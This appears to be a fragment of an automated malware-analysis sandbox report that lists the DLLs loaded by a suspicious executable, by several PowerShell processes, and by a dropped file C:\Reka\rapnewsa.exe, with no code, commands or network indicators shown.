Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: apphelp.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: winhttp.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: dpapi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: uxtheme.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: webio.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: mswsock.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: iphlpapi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: winnsi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: sspicli.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: schannel.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: mskeyprotect.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ntasn1.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ncrypt.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ncryptsslp.dll
